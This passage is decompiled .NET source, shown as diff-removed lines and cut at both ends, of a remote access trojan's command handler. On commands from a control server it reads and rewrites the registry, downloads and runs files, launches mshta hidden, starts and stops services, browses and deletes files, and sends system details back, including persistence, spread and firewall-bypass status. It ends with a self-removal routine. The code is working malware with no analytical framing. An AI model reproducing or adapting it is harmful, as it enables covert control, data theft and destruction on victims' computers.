registryKey2.GetValueNames()) - { - string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString(); - if (str5.Length > 200) - str5 = Strings.Mid(str5, 1, 200); - string str6 = Right; - s = valueName + IND.Y + str5 + IND.Y + "Value"; - string str7 = API.ENB(ref s); - string y = IND.Y; - Right = str6 + str7 + y; - } - B b = MyProject.Forms.B; - s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y), (object) Right)); - ref string local4 = ref s; - b.SEND(ref local4); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false)) - { - Array Instance3 = Instance1; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num4 = 2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - objArray4[0] = (object) local5; - object[] Arguments = objArray3; - string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local6 = ref str8; - bool flag = true; - ref bool local7 = ref flag; - RegistryKey registryKey = IND.Rk(ref local6, ref local7); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num4, - (object) str8 - }, (string[]) null, true, false); - registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 4 - }, (string[]) null))); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false)) - { - Array Instance4 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num5 = 2; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num5; - objArray6[0] = (object) local8; - object[] Arguments = objArray5; - string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null)); - ref string local9 = ref str9; - bool flag = true; - ref bool local10 = ref flag; - RegistryKey registryKey3 = IND.Rk(ref local9, ref local10); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num5, - (object) str9 - }, (string[]) null, true, false); - RegistryKey registryKey4 = registryKey3; - int num6 = Instance1.Length - 1; - for (int index = 3; index <= num6; ++index) - { - Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)), "\\"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 1 - }, (string[]) null), (object) "Key", false)) - registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - else - registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - } - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false)) - return; - Array Instance6 = Instance1; - object[] objArray7 = new object[1]; - object[] objArray8 = objArray7; - int num7 = 2; - // ISSUE: variable of a boxed type - __Boxed local11 = (ValueType) num7; - objArray8[0] = (object) local11; - object[] Arguments = objArray7; - string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null)); - ref string local12 = ref str10; - bool flag = true; - ref bool local13 = ref flag; - RegistryKey registryKey = IND.Rk(ref local12, ref local13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num7, - (object) str10 - }, (string[]) null, true, false); - registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - } - } - else if (Operators.CompareString(Left1, "#k", false) == 0) - { - IND.ER = 1; - if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L) - { - B b = MyProject.Forms.B; - string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename); - ref string local = ref str11; - b.SEND(ref local); - } - else - { - B b = MyProject.Forms.B; - string str12 = "#k" + IND.Y + ".."; - ref string local = ref str12; - b.SEND(ref local); - } - } - else if (Operators.CompareString(Left1, "#X", false) == 0) - { - IND.ER = 0; - int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length; - MemoryStream memoryStream = new MemoryStream(); - int num9 = num8; - int num10 = Da.Length - 1; - for (int index = num9; index <= num10; ++index) - memoryStream.WriteByte(Da[index]); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array, ref local); - int num11 = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num11; - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - } - while (num11 <= 999); - } - else if (Operators.CompareString(Left1, "##", false) == 0) - { - IND.ER = 5; - MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B b = MyProject.Forms.B; - string str13 = "plugin"; - ref string local = ref str13; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#Rec", false) == 0) - { - B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - MyProject.Forms.B.Dis(); - } - else if (Operators.CompareString(Left1, "#ser0", false) == 0) - { - IND.ER = 1; - string str14; - string s; - foreach (ServiceController service in ServiceController.GetServices()) - { - string str15 = str14; - string y = IND.Y; - s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName; - string str16 = API.ENB(ref s); - str14 = str15 + y + str16; - } - B b = MyProject.Forms.B; - s = "#ser0" + str14; - ref string local = ref s; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#ser1", false) == 0) - { - IND.ER = 1; - foreach (ServiceController service in ServiceController.GetServices()) - { - if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - service.Start(); - } - } - else if (Operators.CompareString(Left1, "#ser2", false) == 0) - { - IND.ER = 1; - foreach (ServiceController service in ServiceController.GetServices()) - { - if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - service.Stop(); - } - } - else if (Operators.CompareString(Left1, "#R", false) == 0) - { - IND.ER = 0; - B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - B b = MyProject.Forms.B; - string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - ref string local = ref str17; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "ping", false) == 0) - { - B b = MyProject.Forms.B; - string str18 = "pong"; - ref string local = ref str18; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#0", false) == 0) - { - IND.ER = 0; - B b1 = MyProject.Forms.B; - string str19 = "#red"; - ref string local14 = ref str19; - b1.SEND(ref local14); - Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0))); - Array Instance7 = Instance1; - object[] objArray9 = new object[1]; - object[] objArray10 = objArray9; - int num12 = 1; - // ISSUE: variable of a boxed type - __Boxed local15 = (ValueType) num12; - objArray10[0] = (object) local15; - object[] Arguments = objArray9; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num12, - (object) s - }, (string[]) null, true, false); - string y = IND.Y; - IND.Du((Array) Strings.Split(Expression, y)); - do - { - num1 = 0; - Thread.Sleep(5); - } - while (thread.IsAlive); - B b2 = MyProject.Forms.B; - string str20 = "#Bla"; - ref string local16 = ref str20; - b2.SEND(ref local16); - } - else if (Operators.CompareString(Left1, "#1", false) == 0) - { - B b3 = MyProject.Forms.B; - string str21 = "#red"; - ref string local17 = ref str21; - b3.SEND(ref local17); - IND.ER = 0; - Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0))); - Array Instance8 = Instance1; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num13 = 1; - // ISSUE: variable of a boxed type - __Boxed local18 = (ValueType) num13; - objArray12[0] = (object) local18; - object[] Arguments = objArray11; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num13, - (object) s - }, (string[]) null, true, false); - string y = IND.Y; - IND.DT((Array) Strings.Split(Expression, y)); - do - { - num1 = 1; - Thread.Sleep(5); - } - while (thread.IsAlive); - B b4 = MyProject.Forms.B; - string str22 = "#Bla"; - ref string local19 = ref str22; - b4.SEND(ref local19); - } - else if (Operators.CompareString(Left1, "#2", false) == 0) - { - IND.ER = 0; - string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".").Length - 1]; - int num14 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23); - int num15; - ++num15; - if (num15 > 5) - return; - continue; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num14; - if (num14 > 9999) - return; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23; - Network network = MyProject.Computer.Network; - object[] objArray13 = new object[2]; - object[] objArray14 = objArray13; - Array Instance9 = Instance1; - object[] objArray15 = new object[1]; - object[] objArray16 = objArray15; - int num16 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num16; - objArray16[0] = (object) local; - object[] Arguments1 = objArray15; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null)); - objArray14[0] = objectValue; - objArray13[1] = (object) fileName; - object[] objArray17 = objArray13; - object[] Arguments2 = objArray17; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num16, - RuntimeHelpers.GetObjectValue(objArray17[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left1, "#3", false) == 0) - { - IND.ER = 0; - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y); - memoryStream.Write(bytes1, 0, bytes1.Length); - Encoding encoding = Encoding.Default; - ref byte[] local20 = ref C.Plug; - string str24 = "plugin.C"; - ref string local21 = ref str24; - string str25 = "Pass"; - ref string local22 = ref str25; - object obj = (object) null; - ref object local23 = ref obj; - string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23)); - string s2 = API.ENB(ref s1); - byte[] bytes2 = encoding.GetBytes(s2); - bool flag = true; - ref bool local24 = ref flag; - byte[] buffer = API.ZIP(bytes2, ref local24); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - else if (Operators.CompareString(Left1, "#4", false) == 0) - { - if (B.Rec) - ProjectData.EndApp(); - IND.ER = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - A.fj.Dispose(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - B.Nkey.DeleteValue("vname"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - B.Nkey.DeleteValue("FL"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - if (drive.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(drive.Name + B.Uo)) - File.Delete(drive.Name + B.Uo); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - } - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - foreach (Process process in Process.GetProcessesByName("wscript")) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - try - { - string path = Application.StartupPath + "\\j.vbs"; - string w = n.My.Resources.Resources.W; - string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath); - File.WriteAllText(path, contents); - Process.Start(Application.StartupPath + "\\j.vbs"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#5", false) == 0) - { - IND.ER = 0; - Process process = Process.Start(new ProcessStartInfo() - { - FileName = "mshta.exe", - Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - Thread.Sleep(60000); - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#6", false) == 0) - { - IND.ER = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - if (A.fj.Id > 1) - A.fj.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Process.Start(Application.ExecutablePath); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#7", false) == 0) - { - IND.ER = 2; - Array Instance10 = Instance1; - object[] objArray18 = new object[1]; - object[] objArray19 = objArray18; - int num17 = 1; - // ISSUE: variable of a boxed type - __Boxed local25 = (ValueType) num17; - objArray19[0] = (object) local25; - object[] Arguments = objArray18; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num17, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - { - B b = MyProject.Forms.B; - string str26 = "#5" + IND.Y + Conversions.ToString(0); - ref string local26 = ref str26; - b.SEND(ref local26); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#8", false) == 0) - { - string Right = "\r\n"; - string str27; - string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No"); - B b = MyProject.Forms.B; - string str28 = "#7" + IND.Y + API.ENB(ref s); - ref string local = ref str28; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#9", false) == 0) - { - IND.ER = 1; - string str29; - string s; - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - string str30 = str29; - string y = IND.Y; - s = drive.Name; - string str31 = API.ENB(ref s); - str29 = str30 + y + str31; - } - } - B b = MyProject.Forms.B; - string[] strArray1 = new string[8]; - strArray1[0] = "#8"; - strArray1[1] = str29; - strArray1[2] = IND.Y; - string[] strArray2 = strArray1; - string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop; - string str32 = API.ENB(ref desktop); - strArray2[3] = str32; - strArray1[4] = IND.Y; - string[] strArray3 = strArray1; - string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments; - string str33 = API.ENB(ref myDocuments); - strArray3[5] = str33; - strArray1[6] = IND.Y; - string[] strArray4 = strArray1; - s = MyProject.Computer.FileSystem.SpecialDirectories.Temp; - string str34 = API.ENB(ref s); - strArray4[7] = str34; - string str35 = string.Concat(strArray1); - ref string local = ref str35; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#10", false) == 0) - { - IND.ER = 1; - Array Instance11 = Instance1; - object[] objArray20 = new object[1]; - object[] objArray21 = objArray20; - int num18 = 1; - // ISSUE: variable of a boxed type - __Boxed local27 = (ValueType) num18; - objArray21[0] = (object) local27; - object[] Arguments3 = objArray20; - string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null)); - string path1 = API.DEB(ref s3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num18, - (object) s3 - }, (string[]) null, true, false); - string str36; - foreach (string directory in Directory.GetDirectories(path1)) - { - string str37 = str36; - string y = IND.Y; - string Expression = directory; - Array Instance12 = Instance1; - object[] objArray22 = new object[1]; - object[] objArray23 = objArray22; - int num19 = 1; - // ISSUE: variable of a boxed type - __Boxed local28 = (ValueType) num19; - objArray23[0] = (object) local28; - object[] Arguments4 = objArray22; - string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null)); - string Find = API.DEB(ref s4); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num19, - (object) s4 - }, (string[]) null, true, false); - string s5 = Strings.Replace(Expression, Find, "") + "*DIR"; - string str38 = API.ENB(ref s5); - str36 = str37 + y + str38; - } - string[] strArray5 = new string[5] - { - "png", - "jpg", - "jpeg", - "bmp", - "ico" - }; - Array Instance13 = Instance1; - object[] objArray24 = new object[1]; - object[] objArray25 = objArray24; - int num20 = 1; - // ISSUE: variable of a boxed type - __Boxed local29 = (ValueType) num20; - objArray25[0] = (object) local29; - object[] Arguments5 = objArray24; - string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null)); - string path2 = API.DEB(ref s6); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num20, - (object) s6 - }, (string[]) null, true, false); - foreach (string file in Directory.GetFiles(path2)) - { - bool flag; - foreach (string str39 in strArray5) - { - if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0) - { - flag = true; - break; - } - } - string s7; - if (flag) - { - try - { - Image image = Image.FromFile(file); - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams); - string str40 = str36; - string y = IND.Y; - string[] strArray6 = new string[5]; - string[] strArray7 = strArray6; - string Expression = file; - Array Instance14 = Instance1; - object[] objArray26 = new object[1]; - object[] objArray27 = objArray26; - int num21 = 1; - // ISSUE: variable of a boxed type - __Boxed local30 = (ValueType) num21; - objArray27[0] = (object) local30; - object[] Arguments6 = objArray26; - string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null)); - string Find = API.DEB(ref s8); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num21, - (object) s8 - }, (string[]) null, true, false); - string str41 = Strings.Replace(Expression, Find, ""); - strArray7[0] = str41; - strArray6[1] = "*"; - strArray6[2] = Conversions.ToString(FileSystem.FileLen(file)); - strArray6[3] = "*"; - strArray6[4] = API.FEN(memoryStream.ToArray()); - s7 = string.Concat(strArray6); - string str42 = API.ENB(ref s7); - str36 = str40 + y + str42; - memoryStream.Dispose(); - encoderParams.Dispose(); - image.Dispose(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - string str43 = str36; - string y = IND.Y; - string Expression = file; - Array Instance15 = Instance1; - object[] objArray28 = new object[1]; - object[] objArray29 = objArray28; - int num22 = 1; - // ISSUE: variable of a boxed type - __Boxed local31 = (ValueType) num22; - objArray29[0] = (object) local31; - object[] Arguments7 = objArray28; - string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null)); - string Find = API.DEB(ref s9); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num22, - (object) s9 - }, (string[]) null, true, false); - string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file)); - string str44 = API.ENB(ref s10); - str36 = str43 + y + str44; - ProjectData.ClearProjectError(); - } - } - else - { - string str45 = str36; - string y = IND.Y; - string Expression = file; - Array Instance16 = Instance1; - object[] objArray30 = new object[1]; - object[] objArray31 = objArray30; - int num23 = 1; - // ISSUE: variable of a boxed type - __Boxed local32 = (ValueType) num23; - objArray31[0] = (object) local32; - object[] Arguments8 = objArray30; - string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null)); - string Find = API.DEB(ref s11); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num23, - (object) s11 - }, (string[]) null, true, false); - s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file)); - string str46 = API.ENB(ref s7); - str36 = str45 + y + str46; - } - } - B b = MyProject.Forms.B; - string str47 = "#9" + str36; - ref string local33 = ref str47; - b.SEND(ref local33); - } - else if (Operators.CompareString(Left1, "#11", false) == 0) - { - IND.ER = 1; - int num24 = Instance1.Length - 1; - for (int index = 1; index <= num24; ++index) - { - try - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string fileName = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s - }, (string[]) null, true, false); - Process.Start(fileName); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - else if (Operators.CompareString(Left1, "#12", false) == 0) - { - IND.ER = 1; - Array Instance17 = Instance1; - object[] objArray32 = new object[1]; - object[] objArray33 = objArray32; - int num25 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num25; - objArray33[0] = (object) local; - object[] Arguments = objArray32; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num25, - (object) s - }, (string[]) null, true, false); - Array Instance18 = (Array) Strings.Split(Expression, "\r\n"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 3 - }, (string[]) null), (object) "DIR", false)) - MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 2 - }, (string[]) null))); - else - MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 2 - }, (string[]) null))); - } - else if (Operators.CompareString(Left1, "#13", false) == 0) - { - IND.ER = 1; - int num26 = Instance1.Length - 1; - for (int index = 1; index <= num26; ++index) - { - string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path3 = API.DEB(ref s12); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s12 - }, (string[]) null, true, false); - if (Directory.Exists(path3)) - { - try - { - string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path4 = API.DEB(ref s13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s13 - }, (string[]) null, true, false); - Directory.Delete(path4, true); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else - 